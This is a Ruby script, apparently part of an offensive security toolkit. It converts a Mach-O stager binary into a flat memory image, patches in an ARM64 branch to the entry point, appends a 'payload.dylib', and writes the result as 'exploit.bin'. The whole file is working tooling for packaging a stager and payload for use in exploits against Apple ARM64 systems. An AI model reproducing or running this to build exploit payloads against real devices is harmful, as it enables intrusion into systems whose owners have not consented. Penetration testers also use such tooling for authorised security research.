#!/usr/bin/env ruby # -*- coding: binary -*- require 'macho' stager_file = ARGV[0] data = File.binread(stager_file) macho = MachO::MachOFile.new_from_bin(data) main_func = macho[:LC_MAIN].first entry_offset = main_func.entryoff start = -1 min = -1 max = 0 for segment in macho.segments next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO] puts "segment: #{segment.segname} #{segment.vmaddr.to_s(16)}" if min == -1 or min > segment.vmaddr min = segment.vmaddr end if max < segment.vmaddr + segment.vmsize max = segment.vmaddr + segment.vmsize end end puts "data: #{min.to_s(16)} -> #{max.to_s(16)} #{(max - min).to_s(16)}" output_data = "\x00" * (max - min) for segment in macho.segments #next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO] puts "segment: #{segment.segname} off: #{segment.offset.to_s(16)} vmaddr: #{segment.vmaddr.to_s(16)} fileoff: #{segment.fileoff.to_s(16)}" for section in segment.sections puts "section: #{section.sectname} off: #{section.offset.to_s(16)} addr: #{section.addr.to_s(16)} size: #{section.size.to_s(16)}" flat_addr = section.addr - min section_data = data[section.offset, section.size] #file_section = section.offset #puts "info: #{segment.fileoff.to_s(16)} #{segment.offset.to_s(16)} #{section.size.to_s(16)} #{file_section.to_s(16)}" #puts "?: #{data.size.to_s(16)} #{file_section.to_s(16)}" if section_data puts "flat_addr: #{flat_addr.to_s(16)} (#{section_data.size.to_s(16)})" if start == -1 or start > flat_addr start = flat_addr end output_data[flat_addr, section_data.size] = section_data end end end puts "start: #{start.to_s(16)}" branch = `rasm2 -b 64 -a arm "b 0x#{start.to_s(16)}"` puts "branch: #{branch}" output_data[0,4] = [ branch[0..7] ].pack("H*") puts "size: #{output_data.length}" add_dylib = 0x10000 padding = "\x00" * (add_dylib - output_data.length) output_data = output_data + padding payload = File.binread("payload.dylib") output_data[add_dylib, payload.size] = payload puts "final size: #{output_data.length}" File.binwrite("exploit.bin", output_data)